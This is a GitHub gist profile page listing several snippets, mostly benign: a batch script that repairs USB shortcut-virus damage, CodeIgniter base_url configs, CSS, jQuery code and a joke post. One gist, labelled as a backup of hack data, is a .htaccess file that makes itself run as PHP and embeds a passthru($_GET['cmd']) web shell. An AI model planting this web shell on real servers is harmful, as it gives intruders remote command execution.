Skip to content

Instantly share code, notes, and snippets.

Barney Chen Barneybook

Block or report user

Report or block Barneybook

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@Barneybook
Barneybook / 刪除並修復隨身碟捷徑病毒v3.3.bat
Created May 13, 2019
刪除並修復隨身碟捷徑病毒v3.3.bat
View 刪除並修復隨身碟捷徑病毒v3.3.bat
@echo off
echo =========捷徑病毒修復程式說明=========
echo;
echo 編輯者:Lun 2017.12.06 版本:v3.3
echo;
echo 適用狀況:所有檔案皆變為捷徑檔、隨身碟點開變為捷徑。
echo;
echo 修復程式僅會刪除病毒檔案,其餘非病毒相關檔案並不影響。
echo;
echo 程式請以→右鍵→"系統管理員身分執行"
@Barneybook
Barneybook / 201805.md
Last active May 31, 2018
2018年5月各種紀錄
@Barneybook
Barneybook / Telegram_it_group_list.md
Last active Dec 10, 2019
Telegram 資訊相關 群組清單
View Telegram_it_group_list.md
@Barneybook
Barneybook / config.php
Created Apr 20, 2017
Codeigniter base_url setting
View config.php
<?php
// false
$root = ($_SERVER['SERVER_PORT'] == 443 ? 'https' : 'http');
// false
$root = "http".((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "s" : "");
// false
$root = (empty($_SERVER['HTTPS']) OR strtolower($_SERVER['HTTPS']) === 'off') ? 'http' : 'https';
@Barneybook
Barneybook / .htaccess
Last active Dec 4, 2016
Hack data backup 20161202
View .htaccess
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']);?>
# BEGIN rlrssslReallySimpleSSL rsssl_version[2.4.1]
<IfModule mod_rewrite.c>
RewriteEngine on
View old_save_20160428.css
/*小徽章*/
.award_bar img { width:39px;height: 39px; }
/*小徽章排排站*/
.award_bar {
background:url(http://blog.citytalk.tw/wp-content/uploads/2010/04/plurk_icon.png) no-repeat scroll 0px 60px; min-height:480px;
position:absolute !important;
margin-top:60px !important;
width:500px !important;
}
@Barneybook
Barneybook / yee01.txt
Last active Oct 6, 2015
[kuso] 蟻姨椅yee
View yee01.txt
https://www.ptt.cc/bbs/joke/M.1443701763.A.AC1.html
作者kevin1ptt (台大陳柏霖)
看板joke
標題[kuso] 蟻姨椅yee
時間Thu Oct 1 20:16:00 2015
一蟻倚椅,伊意怡逸。
蟻姨遺椅,疑蟻移椅;
蟻議伊椅,異姨佚椅。
@Barneybook
Barneybook / config.php
Created Sep 13, 2015
codeigniter config $config['base_url'] good method
View config.php
$root = "http://" . $_SERVER['HTTP_HOST'];
$root .= str_replace(basename($_SERVER['SCRIPT_NAME']), "", $_SERVER['SCRIPT_NAME']);
$config['base_url'] = "$root";
View ajax.js
var $j = jQuery.noConflict();
var firstLoad = true;
var image_src_regex = /url\(["']?([^'")]+)['"]?\)/;
function perPageBindings() {
"use strict";
$j('.qode_slider_preloader .ajax_loader_slider').hide();
content = $j('.content_inner');
initQodeSlider();
initQodeCarousel();
initMessageHeight();
You can’t perform that action at this time.